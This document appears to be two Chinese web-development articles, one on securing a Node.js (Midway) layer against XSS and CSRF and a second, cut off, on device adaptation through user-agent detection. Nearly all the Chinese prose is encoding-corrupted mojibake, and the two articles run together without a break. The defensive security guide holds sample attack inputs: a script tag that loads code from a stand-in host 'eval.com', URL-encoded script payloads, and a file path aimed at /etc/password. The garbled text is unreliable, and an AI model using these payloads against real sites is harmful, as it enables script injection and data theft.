ǰºó¶Ë·ÖÀëģʽϵݲȫ½â¾ö·½°¸
ǰÑÔ
ÔÚǰºó¶Ë·ÖÀëµÄ¿ª·¢Ä£Ê½ÖУ¬´Ó¿ª·¢µÄ½ÇÉ«ºÍÖ°ÄÜÉÏÀ´½²£¬Ò»¸ö×îÃ÷ÏԵı仯¾ÍÊÇ£ºÒÔÍù´«Í³ÖУ¬Ö»¸ºÔðä¯ÀÀÆ÷»·¾³Öпª·¢µÄǰ¶Ëͬѧ£¬Ðè񻃾ÁÔµ½·þÎñ¶Ë²ãÃæ£¬±àд·þÎñ¶Ë´úÂë¡£¶ø°ÚÔÚÃæÇ°µÄÒ»¸ö»ù´¡ÐÔÎÊÌâ¾ÍÊÇÈçºÎ±£ÕÏWeb°²È«£¿
±¾ÎľÍÔÚǰºó¶Ë·ÖÀëģʽµÄ¼Ü¹¹Ï£¬Õë¶Ôǰ¶ËÔÚWeb¿ª·¢ÖУ¬ËùÓöµ½µÄ°²È«ÎÊÌâÒÔ¼°Ó¦¶Ô´ëÊ©ºÍ×¢ÒâÊÂÏ²¢Ìá³ö½â¾ö·½°¸¡£
¿çÕ¾½Å±¾¹¥»÷(XSS)µÄ·ÀÓù
ÎÊÌâ¼°½â¾ö˼·
¿çÕ¾½Å±¾¹¥»÷£¨XSS£¬Cross-site scripting£©ÊÇ×î³£¼ûºÍ»ù±¾µÄ¹¥»÷WebÍøÕ¾µÄ·½·¨¡£¹¥»÷Õß¿ÉÒÔÔÚÍøÒ³ÉÏ·¢²¼°üº¬¹¥»÷ÐÔ´úÂëµÄÊý¾Ý£¬µ±ä¯ÀÀÕß¿´µ½´ËÍøÒ³Ê±£¬Ìض¨µÄ½Å±¾¾Í»áÒÔä¯ÀÀÕßÓû§µÄÉí·ÝºÍȨÏÞÀ´Ö´ÐС£Í¨¹ýXSS¿ÉÒԱȽÏÈÝÒ×µØÐÞ¸ÄÓû§Êý¾Ý¡¢ÇÔÈ¡Óû§ÐÅÏ¢ÒÔ¼°Ôì³ÉÆäËüÀàÐ͵Ĺ¥»÷£¬ÀýÈ磺CSRF¹¥»÷¡£
Ô¤·ÀXSS¹¥»÷µÄ»ù±¾·½·¨ÊÇ£ºÈ·±£Èκα»Êä³öµ½HTMLÒ³ÃæÖеÄÊý¾ÝÒÔHTMLµÄ·½Ê½½øÐÐתÒ壨HTML escape£©¡£ÀýÈçÏÂÃæµÄÄ£°å´úÂ룺
<textarea name="description">$description</textarea> |
Õâ¶Î´úÂëÖеÄ$descriptionΪģ°åµÄ±äÁ¿£¨²»Í¬Ä£°åÖж¨ÒåµÄ±äÁ¿Óï·¨²»Í¬£¬ÕâÀïÖ»ÊÇʾÒâһϣ©£¬ÓÉÓû§Ìá½»µÄÊý¾Ý£¬ÄÇô¹¥»÷Õß¿ÉÒÔÊäÈëÒ»¶Î°üº¬¡±JavaScript¡±µÄ´úÂ룬ʹµÃÉÏÊöÄ£°åÓï¾äµÄ½á¹û±ä³ÉÈçϵĽá¹û£º
<textarea name="description"> </textarea><script>alert('hello')'</script> </textarea> |
ÉÏÊö´úÂ룬ÔÚä¯ÀÀÆ÷ÖÐäÖȾ£¬½«»áÖ´ÐÐJavaScript´úÂë²¢ÔÚÆÁÄ»ÉÏalert hello¡£µ±È»Õâ¸ö´úÂëÊÇÎÞº¦µÄ£¬µ«¹¥»÷ÕßÍêÈ«¿ÉÒÔ´´½¨Ò»¸öJavaScriptÀ´ÐÞ¸ÄÓû§×ÊÁÏ»òÕßÇÔÈ¡cookieÊý¾Ý¡£
½â¾ö·½·¨ºÜ¼òµ¥£¬¾ÍÊǽ«$descriptionµÄÖµ½øÐÐhtml escape£¬×ªÒåºóµÄÊä³ö´úÂëÈçÏÂ
<textarea name="description"> </textarea><script>alert("hello!")</script> </textarea> |
ÒÔÉϾ¹ýתÒåºóµÄHTML´úÂëÊÇûÓÐÈκÎΣº¦µÄ¡£
MidwayµÄ½â¾ö·½°¸
תÒåÒ³ÃæÖÐËùÓÐÓû§Êä³öµÄÊý¾Ý
¶ÔÊý¾Ý½øÐÐתÒåÓÐÒÔϼ¸ÖÖÇé¿öºÍ·½·¨£º
1. ʹÓÃÄ£°åÄÚ²¿ÌṩµÄ»úÖÆ½øÐÐתÒå
ÖÐ;µºÄÚ²¿Ê¹ÓÃKISSY xtemplate×÷Ϊģ°åÓïÑÔ¡£
ÔÚxtemplateʵÏÖÖУ¬Óï·¨ÉÏʹÓÃÁ½¸öÖÐÀ¨ºÅ£¨ {{val}}£©½âÎöÄ£°åÊý¾Ý£¬ £¬Ä¬ÈϼÈÊǶÔÊý¾Ý½øÐÐHTMLתÒåµÄ£¬ËùÒÔ¿ª·¢Õß¿ÉÒÔÕâÑùдģ°å£º
<textarea name="description">{{description}}</textarea> |
ÔÚxtemplateÖУ¬Èç¹û²»Ï£ÍûÊä³öµÄÊý¾Ý±»×ªÒ壬ÐèҪʹÓÃÈý¸öÖÐÀ¨ºÅ£¨{{{val}}}£©¡£
2. ÔÚMidwayÖÐÃ÷È·µÄµ÷ÓÃתÒ庯Êý
¿ª·¢Õß¿ÉÒÔÔÚNode.js³ÌÐò»òÕßÄ£°åÖУ¬Ö±½Óµ÷ÓÃMidwayÌṩµÄHTMLתÒå·½·¨£¬ÏÔʾµÄ¶ÔÊý¾Ý½øÐÐתÒ壬ÈçÏ£º
·½·¨1£ºÔÚNode.js³ÌÐòÖжÔÊý¾Ý½øÐÐHTMLתÒå
var Security= require('midway-security'); //data from server£¬eg {html:'</textarea>'£¬other:""} data.html =Security.escapeHtml(data.html); xtpl = xtpl.render(data); |
·½·¨2£ºÔÚÄ£°åÖжÔHTMLÊý¾Ý½øÐÐHTMLתÒå
<textarea name="description">Security.escapeHtml({{{description}}})</textarea> |
×¢Ò⣺ֻÓе±Ä£°åÄÚ²¿Ã»ÓжÔÊý¾Ý½øÐÐתÒåµÄʱºò²ÅʹÓÃSecurity.escapeHtml½øÐÐתÒå¡£ ·ñÔò£¬Ä£°åÄÚ²¿ºÍ³ÌÐò»áÁ½´ÎתÒåµþ¼Ó£¬µ¼Ö²»·ûºÏÔ¤ÆÚµÄÊä³ö¡£
ÍÆ¼ö£ºÈç¹ûʹÓÃxtemplate£¬½¨ÒéÖ±½ÓʹÓÃÄ£°åÄÚÖõÄ{{}}½øÐÐתÒ壻 Èç¹ûʹÓÃÆäËûÄ£°å£¬½¨ÒéʹÓÃSecurity.escapeHtml½øÐÐתÒå¡£
¹ýÂËÒ³ÃæÖÐÓû§Êä³öµÄ¸»Îı¾
Äã¿ÉÄÜ»áÏëµ½£º¡°ÆäʵÎÒ¾ÍÊÇÏëÊä³ö¸»Îı¾£¬±ÈÈçһЩÁôÑÔ°å¡¢ÂÛ̳¸øÓû§ÌṩһЩ¼òµ¥µÄ×ÖÌå´óС¡¢ÑÕÉ«¡¢±³¾°µÈ¹¦ÄÜ£¬ÄÇôÎÒ¸ÃÈçºÎ´¦ÀíÕâÑùµÄ¸»Îı¾À´·ÀÖ¹XSSÄØ£¿¡±
1. ʹÓÃMidwayÖÐSecurityÌṩµÄrichTextº¯Êý
MidwayÖÐÌṩÁËrichText·½·¨£¬×¨ÃÅÓÃÀ´¹ýÂ˸»Îı¾£¬·ÀÖ¹XSS¡¢µöÓã¡¢cookieÇÔÈ¡µÈ©¶´¡£
ÓÐÒ»¸öÁôÑ԰壬ģ°å´úÂë¿ÉÄÜÈçÏ£º
<div class="message-board"> {{{message}}} </div> |
ÒòΪmessageÊÇÓû§µÄÊäÈëÊý¾Ý£¬ÆäÁôÑÔ°åµÄÄÚÈÝ£¬°üº¬Á˸»Îı¾ÐÅÏ¢£¬ËùÒÔÕâÀïÔÚxtemplateÖУ¬Ê¹ÓÃÁËÈý¸ö´óÀ¨ºÅ£¬Ä¬Èϲ»½øÐÐHTMLתÒ壻ÄÇôÓû§ÊäÈëµÄÊý¾Ý¼ÙÈçÈçÏ£º
<script src="http://eval.com/eval.js"></script><span style="color:red;font-size:20px;position:fixed;">ÎÒÔÚÁôÑÔÖÐ</span> |
ÉÏÊöµÄ¸»Îı¾Êý¾ÝÈç¹ûÖ±½ÓÊä³öµ½Ò³ÃæÖУ¬±ØÈ»»áµ¼ÖÂeval.comÕ¾µãµÄjs×¢Èëµ½µ±Ç°Ò³ÃæÖУ¬Ôì³ÉÁËXSS¹¥»÷¡£ÎªÁË·ÀÖ¹Õâ¸ö©¶´£¬ÎÒÃÇÖ»ÒªÔÚÄ£°å»òÕß³ÌÐòÖУ¬µ÷ÓÃSecurity.richText·½·¨£¬´¦ÀíÓû§ÊäÈëµÄ¸»Îı¾¡£
µ÷Ó÷½·¨ÓëescapeHtmlÀàËÆ£¬ÓÐÈçÏÂÁ½ÖÖ·½Ê½
·½·¨1: Ö±½ÓÔÚNode.js³ÌÐòÖе÷ÓÃ
message =Security.richText(message); var html = xtpl.render(message) |
·½·¨2£º ÔÚÄ£°åÖе÷ÓÃ
<div class="message-board"> Security.richText({{{message}}}) </div> |
ͨ¹ýµ÷ÓÃSecurityµÄrichText·½·¨ºó£¬×îÖÕµÄÊä³öÈçÏ£º
<div class="message-board"> <span style="color:red;font-size:20px;">ÎÒÔÚÁôÑÔÖÐ</span> </div> |
¿ÉÒÔ¿´³ö£¬Ê×ÏÈ£º»áÔì³ÉXSS¹¥»÷µÄscript±êÇ©±»Ö±½Ó¹ýÂ˵ô£»Í¬Ê±style±êÇ©ÖÐCSSÊôÐÔposition:fixed;ÑùʽҲ±»¹ýÂËÁË¡£×îÖÕÊä³öÁËÎÞº¦µÄHTML¸»Îı¾
Á˽âÆäËû¿ÉÄܵ¼ÖÂXSS¹¥»÷µÄ;¾¶
³ýÁËÔÚÒ³ÃæµÄÄ£°åÖпÉÄÜ´æÔÚXSS¹¥»÷Ö®Í⣬ÔÚWebÓ¦ÓÃÖл¹ÓÐÆäËû¼¸¸ö;¾¶Ò²¿ÉÄÜ»áÓзçÏÕ¡£
1. ³ö´íÒ³ÃæµÄ©¶´
Ò»¸öÒ³ÃæÈç¹ûÕÒ²»µ½£¬ÏµÍ³¿ÉÄܻᱨһ¸ö404 Not FoundµÄ´íÎó£¬ÀýÈ磺http://localhost/page/not/found
404 NotFound Page /page/not/found does not exsit |
ºÜÏÔÈ»£º¹¥»÷Õß¿ÉÒÔÀûÓÃÕâ¸öÒ³Ãæ£¬¹¹ÔìÒ»¸öÀàËÆÕâÑùµÄÁ¬½Ó£¬http://localhost/%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E£¬²¢ÒýÓÕÊܺ¦Õßµã»÷
£»¼ÙÈç³ö´íÒ³ÃæÎ´¶ÔÊä³ö±äÁ¿½øÐÐתÒåµÄ»°£¬ÄÇôÁ¬½ÓÖÐÒþ²ØµÄ <script>alert('hello')</script>
½«»á±»Ö´ÐС£
ÔÚexpressÖУ¬·¢ËÍÒ»¸ö404Ò³ÃæµÄ·½·¨ÈçÏÂ
res.send(404£¬'Sorry£¬we don\'t find that!') |
ÕâÀï¾ÍÐèÒª¿ª·¢Õß×¢Òâ´íÎóÒ³Ãæ(404»òÕ߯äËû´íÎó״̬)µÄ´¦Àí·½Ê½¡£Èç¹û´íÎóÐÅÏ¢µÄ·µ»ØÄÚÈÝ´øÓз¾¶ÐÅÏ¢£¨Æäʵ¸ü׼ȷµÄ½²£¬ÊÇÓû§ÊäÈëÐÅÏ¢)£¬¾ÍÒ»¶¨Òª½øÐÐescapeHtmlÁË¡£
ºóÐø£¬´íÎó´¦ÀíµÄ°²È«»úÖÆ£¬»áÔÚMidway¿ò¼Ü²ãÃæÖÐÍê³É¡£
Midway½â¾ö·½°¸µÄ²¹³ä˵Ã÷
ÆäËûÄ£°åÒýÇæ
MidwayĬÈÏÖ§³ÖxtemplateÄ£°å£¬µ«½«À´Ò²ÓпÉÄÜÖ§³ÖÆäËûÄ£°å£ºÈçjade¡¢mustache¡¢ejsµÈ¡£Ä¿Ç°ÔÚÖ÷Á÷Ä£°åÖУ¬¶¼ÌṩÁËĬÈÏתÒåºÍ²»×ªÒåµÄÊä³ö±äÁ¿Ð´·¨£¬ÐèÒª¿ª·¢ÕßÌØ±ðÁôÒâÆä°²È«ÐÔ¡£
¹ØÓÚescapeµÄÆäËûÖ§³Ö
³ýÁ˶ÔÒ³ÃæÖÐÊä³öµÄÆÕͨÊý¾ÝºÍ¸»Îı¾Êý¾Ý£¬Ò»Ð©³¡¾°ÖÐÒ²»¹°üº¬ÆäËû¿ÉÄÜÐèҪתÒåµÄÇé¿ö£¬MidwayÌṩÁËÈçϼ¸¸ö³£ÓõÄתÒå·½·¨£¬¹©¿ª·¢ÕßʹÓãº
escapeHtml ¹ýÂËÖ¸¶¨µÄHTMLÖеÄ×Ö·û£¬·ÀXSS©¶´
jsEncode ¶ÔÊäÈëµÄString½øÐÐJavaScript תÒå ¶ÔÖÐÎĽøÐÐunicodeתÒ壬µ¥ÒýºÅ£¬Ë«ÒýºÅתÒå
escapeJson ²»ÆÆ»µJSON½á¹¹µÄescapeº¯Êý£¬Ö»¶Ôjson½á¹¹ÖÐnameºÍvaule×öescapeHtml´¦Àí
escapeJsonForJsVar ¿ÉÒÔÀí½â¾ÍÊÇjsEncode+escapeJson
Àý×ÓÈçÏÂ
var jsonText ="{\"<script>\":\"<script>\"}"; console.log(SecurityUtil.escapeJson(jsonText));// {"<script>":"<script>"} var jsonText ="{\"ÄãºÃ\":\"<script>\"}"; console.log(SecurityUtil.escapeJsonForJsVar(jsonText));//{\"\u4f60\u597d\":\"<script>\"} var str ="alert(\"ÄãºÃ\")"; console.log(SecurityUtil.jsEncode(str));// alert(\"\u4f60\u597d\") |
¿çÕ¾ÇëÇóαÔì¹¥»÷(CSRF)µÄÔ¤·À
ÎÊÌâ¼°½â¾ö˼·
Ãû´Ê½âÊÍ£º ±íµ¥£º·ºÖ¸ä¯ÀÀÆ÷¶ËÓÃÓÚ¿Í»§¶ËÌá½»Êý¾ÝµÄÐÎʽ£»°üÀ¨a±êÇ©¡¢ajaxÌá½»Êý¾Ý¡¢form±íµ¥Ìá½»Êý¾ÝµÈ£¬¶ø·Ç¶ÔµÈÓÚHTMLÖеÄform±êÇ©¡£
¿çÕ¾ÇëÇóαÔ죨CSRF£¬Cross-site request forgery£©ÊÇÁíÒ»ÖÖ³£¼ûµÄ¹¥»÷¡£¹¥»÷Õßͨ¹ý¸÷ÖÖ·½·¨Î±ÔìÒ»¸öÇëÇó£¬Ä£·ÂÓû§Ìá½»±íµ¥µÄÐÐΪ£¬´Ó¶ø´ïµ½ÐÞ¸ÄÓû§µÄÊý¾Ý»òÖ´ÐÐÌØ¶¨ÈÎÎñµÄÄ¿µÄ¡£
ΪÁ˼ÙðÓû§µÄÉí·Ý£¬CSRF¹¥»÷³£³£ºÍXSS¹¥»÷ÅäºÏÆðÀ´×ö£¬µ«Ò²¿ÉÒÔͨ¹ýÆäËüÊֶΣºÀýÈçÓÕʹÓû§µã»÷Ò»¸ö°üº¬¹¥»÷µÄÁ´½Ó¡£
½â¾öCSRF¹¥»÷µÄ˼··ÖÈçÏÂÁ½¸ö²½Öè
Ôö¼Ó¹¥»÷µÄÄѶȡ£GETÇëÇóÊǺÜÈÝÒ×´´½¨µÄ£¬Óû§µã»÷Ò»¸öÁ´½Ó¾Í¿ÉÒÔ·¢ÆðGETÀàÐ͵ÄÇëÇ󣬶øPOSTÇëÇóÏà¶Ô±È½ÏÄÑ£¬¹¥»÷ÕßÍùÍùÐèÒª½èÖúJavaScript²ÅÄÜʵÏÖ£»Òò´Ë£¬È·±£form±íµ¥»òÕß·þÎñ¶Ë½Ó¿ÚÖ»½ÓÊÜPOSTÀàÐ͵ÄÌá½»ÇëÇ󣬿ÉÒÔÔö¼ÓϵͳµÄ°²È«ÐÔ¡£
¶ÔÇëÇó½øÐÐÈÏÖ¤£¬È·±£¸ÃÇëÇóȷʵÊÇÓû§±¾ÈËÌîд±íµ¥»òÕß·¢ÆðÇëÇó²¢Ìá½»µÄ£¬¶ø²»ÊǵÚÈýÕßαÔìµÄ¡£
Ò»¸öÕý³£Óû§ÐÞ¸ÄÍøÕ¾ÐÅÏ¢µÄ¹ý³ÌÈçÏÂ
Óû§ÇëÇóÐÞ¸ÄÐÅÏ¢(1) -> ÍøÕ¾ÏÔʾÓû§ÐÞ¸ÄÐÅÏ¢µÄ±íµ¥(2) -> Óû§ÐÞ¸ÄÐÅÏ¢²¢Ìá½»(3)
-> ÍøÕ¾½ÓÊÜÓû§Ð޸ĵÄÊý¾Ý²¢±£´æ(4)
¶øÒ»¸öCSRF¹¥»÷Ôò²»»á×ßÕâÌõ·Ïߣ¬¶øÊÇÖ±½ÓαÔìµÚ2²½Óû§Ìá½»ÐÅÏ¢
Ö±½ÓÌøµ½µÚ2²½(1) -> αÔìÒªÐ޸ĵÄÐÅÏ¢²¢Ìá½»(2) -> ÍøÕ¾½ÓÊܹ¥»÷ÕßÐ޸IJÎÊýÊý¾Ý²¢±£´æ(3)
Ö»ÒªÄܹ»Çø·ÖÕâÁ½ÖÖÇé¿ö£¬¾ÍÄܹ»Ô¤·ÀCSRF¹¥»÷¡£ÄÇôÈçºÎÇø·ÖÄØ£¿ ¾ÍÊǶԵÚ2²½ËùÌá½»µÄÐÅÏ¢½øÐÐÑéÖ¤£¬È·±£Êý¾ÝÔ´×ÔµÚÒ»²½µÄ±íµ¥¡£¾ßÌåµÄÑéÖ¤¹ý³ÌÈçÏ£º
Óû§ÇëÇóÐÞ¸ÄÐÅÏ¢(1) -> ÍøÕ¾ÏÔʾÓÃÓÚÐÞ¸ÄÐÅÏ¢µÄ¿Õ°×±íµ¥£¬±íµ¥Öаüº¬ÌØÊâµÄtokenͬʱ°Ñtoken±£´æÔÚsessionÖÐ(2)
-> Óû§ÐÞ¸ÄÐÅÏ¢²¢Ìá½»£¬Í¬Ê±·¢»ØtokenÐÅÏ¢µ½·þÎñ¶Ë(3) -> ÍøÕ¾±È¶ÔÓû§·¢»ØµÄtokenºÍsessionÖеÄtoken£¬Ó¦¸ÃÒ»Ö£¬Ôò½ÓÊÜÓû§Ð޸ĵÄÊý¾Ý£¬²¢±£´æ
ÕâÑù£¬Èç¹û¹¥»÷ÕßαÔìÒªÐ޸ĵÄÐÅÏ¢²¢Ìá½»£¬ÊÇû°ì·¨Ö±½Ó·ÃÎʵ½sessionµÄ£¬ËùÒÔҲû°ì·¨Äõ½Êµ¼ÊµÄtokenÖµ£»ÇëÇó·¢Ë͵½·þÎñ¶Ë£¬·þÎñ¶Ë½øÐÐtokenУÑéµÄʱºò£¬·¢ÏÖ²»Ò»Ö£¬ÔòÖ±½Ó¾Ü¾ø´Ë´ÎÇëÇó¡£
Midway½â¾ö·½°¸
½ûÓÃGETÌá½»±íµ¥
Èç¹û·þÎñ¶Ë²»½ÓÊÜGET·½Ê½Ìá½»µÄ±íµ¥Êý¾Ý£¬ÄÇô½«»á¸ø¹¥»÷Õß´øÀ´·Ç³£´óµÄÄѶȣ»ÒòΪÔÚÒ³ÃæÉϹ¹ÔìÒ»¸öa±êÇ©hrefÊôÐÔ»òÕßimg±êÇ©srcÊôÐÔÀ´¹¹ÔìÒ»¸öÇëÇóÊǷdz£ÈÝÒ׵쬵«ÊÇÈç¹ûÒªPOSTÌá½»£¬¾Í±ØÐëҪͨ¹ý½Å±¾²Å¿ÉÒÔʵÏÖ¡£
ÓÃCSRF tokenÑéÖ¤ÇëÇó
ÒòΪMidway²»Éæ¼°µ½ÌÔ±¦·Ö²¼Ê½session¼°tokenУÑéÕâÒ»²ãÃæÂß¼£¬ËùÒÔÔÚMidway¿ò¼ÜÖУ¬Ö»½«tokenÔÚserverºÍ¿Í»§¶ËÖ®¼ä½øÐÐת·¢£¬±¾Éí²»×öʵ¼ÊµÄУÑ鹤×÷¡£Á÷³ÌÈçÏ£º

ºóÐø£ºÔÚMidwayÖУ¬Node.jsºÍÌÔ±¦µÄ·Ö²¼Ê½session¶Ô½Óºó£¬¿ÉÒÔ¿¼ÂÇÔÚMidwayÕâÒ»²ã×Ô¶¯½øÐÐtokenУÑ飻±Ï¾¹°²È«Ð£ÑéÔ½Ôç½øÐУ¬³É±¾Ò²»á¸üµÍ¡£
½¨Ò飺ÔÚMidwayÖУ¬¿ÉÒÔÅжÏÊÇ·ñrequestÖÐÓÐtokenµÄÖµ£¬Èç¹ûÒ»¸öÐ޸IJÙ×÷£¬Ã»ÓÐtoken£¬¿ÉÒÔÖ±½ÓÔÚMidway²ãÈÏΪÊDz»°²È«µÄ£¬½«ÇëÇó¶ªÆúµô¡£
ÆäËû°²È«ÎÊÌâ
¹ØÓÚ³£¼ûµÄWeb°²È«ÎÊÌ⣬»¹ÓÐÈçϼ¸ÖÖ£¬ÕâÀïÖ»×öһЩ¼ò½é£¬ºóÐø»á³ÖÐø¼Ì³Ðµ½Midway frameworkÖС£
HTTP Headers°²È«
CRLF Injection ¹¥»÷ÕßÏë°ì·¨ÔÚÏìӦͷÖÐ×¢ÈëÁ½¸öCRLFÌØÊâ×Ö·û£¬µ¼ÖÂÏìÓ¦Êý¾Ý¸ñʽÒì³££¬´Ó¶ø×¢ÈëscriptµÈ
¾Ü¾ø·ÃÎʹ¥»÷ ÿ¸öÇëÇóÒòΪ¶¼»áĬÈÏ´øÉÏcookie£¬¶ø·þÎñÆ÷Ò»°ã¶¼»áÏÞÖÆcookieµÄ´óС£¬Õâ¾Íµ¼ÖÂÁË£¬Èç¹ûÓû§¿Í»§¶Ëcookie±»ÉèÖóÉÁ˳¬¹ýij¸ö·§Öµ£¬ÄÇôÓû§¾ÍÔÙÒ²ÎÞ·¨·ÃÎÊÍøÕ¾ÁË
cookie·ÀÇÔÈ¡ Ò»°ãcookieÇÔÈ¡¶¼ÊÇͨ¹ýJavaScript(XSS©¶´)»ñÈ¡µ½µÄ£¬ËùÒÔ¾¡Á¿½«cookieÉèÖóÉhttp
only£¬²¢ÇÒ¼ÓÉÏcookie¹ýÆÚʱ¼ä
¹ØÓÚcookieµÄ°²È«ÎÊÌ⣬֮ǰWebXÒѾÓнϺõĽâ¾ö·½°¸£»´Ë´ÎMidway²»¸ºÔðcookieµÄÉèÖúÍУÑéµÈ¹¤×÷£¬Ö»¸ºÔðת·¢µ½WebX²ãÃæ½øÐÐcheck
¹ØÓÚNode.js
XSSµÈ×¢ÈëÐÔ©¶´ÊÇËùÓЩ¶´ÖÐ×îÈÝÒ×±»ºöÂÔ£¬Õ¼»¥ÁªÍø×ܹ¥»÷µÄ70%ÒÔÉÏ£»¿ª·¢Õß±àдNode.js´úÂëʱ£¬ÒªÊ±¿ÌÌáÐÑ×Ô¼º£¬ÓÀÔ¶²»ÒªÏàÐÅÓû§µÄÊäÈë¡£
±ÈÈçÈçϼ¸¸öÀý×Ó¡£
var mod = fs.readFileSync('path'); Èç¹ûpathÀ´Ô´ÓÚÓû§ÊäÈ룬ÄÇô¼ÙÉèÓû§ÊäÈë/etc/password£¬Ôò»á¶ÁÈ¡µ½²»Ó¦¸Ã¶ÁÈ¡µÄÄÚÈÝ£¬Ôì³ÉÃÜÂëй©·çÏÕ
var result = eval(jsonVal); Ò»¶¨ÒªÈ·±£jsonValÊÇjson£¬¶ø²»ÊÇÓû§µÄÊäÈë
¡¡ ÆäËû¿ÉÄܰüº¬Óû§ÊäÈëµÄµØ·½£¬Ò»¶¨ÒªÈ·ÈÏÓû§µÄÊäÈëÊÇÎÒÃÇÆÚÍûµÄÖµ
×ܽá
ǰºó¶Ë·ÖÀëģʽÏ£¬¿ÉÒÔÈô«Í³µÄǰ¶Ë¿ª·¢ÈËÔ±¿ªÊ¼±àдºó¶Ë´úÂ룬ËäÈ»´Ó¼Ü¹¹ÉϽ²£¬Ö»¸ºÔðÄ£°åÕâÒ»²ã£¬µ«Ò²»á½Ó´¥´óÁ¿µÄºó¶Ë´úÂ룻ËùÒÔ°²È«¶ÔÓÚǰ¶ËÀ´Ëµ£¬ÕâÊÇÒ»¸ö²»Ð¡µÄÌôÕ½¡£
»ùÓÚǰºó¶Ë·ÖÀëµÄ¶àÖÕ¶ËÊÊÅä
ǰÑÔ
½üÄêÀ´¸÷Õ¾µã»ùÓÚ Web µÄ¶àÖÕ¶ËÊÊÅä½øÐеÃÈç»ðÈçݱ£¬ÐÐÒµ¼äÒ²·¢Õ¹³öÒÀÀµ¸÷ÖÖ¼¼ÊõµÄ½â¾ö·½°¸¡£ÓÐÈç»ùÓÚä¯ÀÀÆ÷ÔÉú
CSS3 Media Query µÄÏìӦʽÉè¼Æ¡¢»ùÓÚÔÆ¶ËÖÇÄÜÖØÅŵġ¸ÔÆÊÊÅ䡹·½°¸µÈ¡£±¾ÎÄÔòÖ÷Ҫ̽ÌÖÔÚǰºó¶Ë·ÖÀë»ù´¡ÏµĶàÖÕ¶ËÊÊÅä·½°¸¡£
¹ØÓÚǰºó¶Ë·ÖÀë
¹ØÓÚǰºó¶Ë·ÖÀëµÄ·½°¸£¬ÔÚ¡¶Ç°ºó¶Ë·ÖÀëµÄ˼¿¼Óëʵ¼ù£¨Ò»£©¡·ÖÐÓзdz£ÇåÎúµÄ½âÊÍ¡£ÎÒÃÇÔÚ·þÎñ¶Ë½Ó¿ÚºÍä¯ÀÀÆ÷Ö®¼äÒýÈë
NodeJS ×÷ΪäÖȾ²ã£¬ÒòΪ NodeJS ²ã³¹µ×ÓëÊý¾Ý³éÀ룬ͬʱÎÞÐè¹ØÐÄ´óÁ¿µÄÒµÎñÂß¼£¬ËùÒÔÊ®·ÖÊʺÏÔÚÕâÒ»²ã½øÐжàÖն˵ÄÊÊÅ乤×÷¡£
UA ̽²â
½øÐжàÖÕ¶ËÊÊÅäÊ×ÏÈÒª½â¾öµÄÊÇ UA ̽²âÎÊÌ⣬¶ÔÓÚÒ»¸ö¹ýÀ´µÄÇëÇó£¬ÎÒÃÇÐèÒªÖªµÀÕâ¸öÉ豸µÄÀàÐͲÅÄÜÕë¶Ô¶ÔËüÊä³ö¶ÔÓ¦µÄÄÚÈÝ¡£ÏÖÔÚÊÐÃæÉÏÒѾÓзdz£³ÉÊìµÄ¼æÈÝ´óÁ¿É豸µÄ
User Agent ÌØÕ÷¿âºÍ̽²â¹¤¾ß£¬ÕâÀïÓÐ Mozilla ÕûÀíµÄÒ»¸öÁÐ±í¡£ÆäÖУ¬¼ÈÓÐÔËÐÐÔÚä¯ÀÀÆ÷¶ËµÄ£¬Ò²ÓÐÔËÐÐÔÚ·þÎñ¶Ë´úÂë²ãµÄ£¬ÉõÖÁÓÐЩ¹¤¾ßÌṩÁË
Nginx/Apache µÄÄ£¿é£¬¸ºÔð½âÎöÿ¸öÇëÇóµÄ UA ÐÅÏ¢¡£
ʵ¼ÊÉÏÎÒÃÇÍÆ¼ö×îºóÒ»ÖÖ·½Ê½¡£»ùÓÚǰºó¶Ë·ÖÀëµÄ·½°¸¾ö¶¨ÁË UA ̽²âÖ»ÄÜÔËÐÐÔÚ·þÎñÆ÷¶Ë£¬µ«Èç¹û°Ñ̽²âµÄ´úÂëºÍÌØÕ÷¿âñîºÏÔÚÒµÎñ´úÂëÀï²¢²»ÊÇÒ»¸ö×ã¹»ÓѺõķ½°¸¡£ÎÒÃǰÑÕâ¸öÐÐΪÔÙÍùǰŲ£¬¹ÒÔÚ
Nginx/Apache ÉÏ£¬ËüÃǸºÔð½âÎöÿ¸öÇëÇóµÄ UA ÐÅÏ¢£¬ÔÙͨ¹ýÈç HTTP Header µÄ·½Ê½´«µÝ¸øÒµÎñ´úÂë¡£
ÕâÑù×öÓм¸µãºÃ´¦£º
ÎÒÃǵĴúÂëÀïÃæÎÞÐèÔÙÈ¥¹Ø×¢ UA ÈçºÎ½âÎö£¬Ö±½Ó´ÓÉϲãÈ¡³ö½âÎöºóµÄÐÅÏ¢¼´¿É¡£
Èç¹ûÔÚͬһ̨·þÎñÆ÷ÉÏÓжà¸öÓ¦Óã¬ÔòÄܹ»¹²Í¬Ê¹ÓÃͬһ¸ö Nginx ½âÎöºóµÄ
UA ÐÅÏ¢£¬½ÚÊ¡Á˲»Í¬Ó¦ÓüäµÄ½âÎöËðºÄ¡£

ÌÔ±¦µÄ Tengine Web ·þÎñÆ÷Ò²ÌṩÁËÀàËÆµÄÄ£¿é ngx_http_user_agent_module¡£
ÖµµÃÒ»ÌáµÄÊÇ£¬Ñ¡Óà UA ̽²â¹¤¾ßʱ±ØÐëÒª¿¼ÂÇÌØÕ÷¿âµÄ¿Éά»¤ÐÔ£¬ÒòΪÊÐÃæÉÏÐÂÔöµÄÉ豸ÀàÐÍÔ½À´Ô½¶à£¬Ã¿¸öÉ豸¶¼»áÓжÀÁ¢µÄ
User Agent£¬ËùÒÔ¸ÃÌØÕ÷¿â±ØÐëÌṩÁ¼ºÃµÄ¸üкÍά»¤²ßÂÔ£¬ÒÔÊÊÓ¦²»¶Ï±ä»¯µÄÉ豸¡£
½¨Á¢ÔÚ MVC ģʽÖеļ¸ÖÖÊÊÅä·½°¸
È¡µÃ UA ÐÅÏ¢ºó£¬ÎÒÃǾÍÒª¿¼ÂÇÈç¹û¸ù¾ÝÖ¸¶¨µÄ UA ½øÐÐÖÕ¶ËÊÊÅäÁË¡£¼´Ê¹ÔÚ
NodeJS ²ã£¬ËäȻûÓÐÁ˴󲿷ֵÄÒµÎñÂß¼£¬µ«ÎÒÃÇÒÀÈ»°ÑÄÚ²¿Çø·ÖΪ Model / Controller
/ View Èý¸öÄ£ÐÍ¡£

ÎÒÃÇÏÈÀûÓÃÉÏÃæµÄͼ£¬È¥½âÎöһЩÒÑÓеĶàÖÕ¶ËÊÊÅä·½°¸¡£
½¨Á¢ÔÚ Controller ÉϵÄÊÊÅä·½°¸
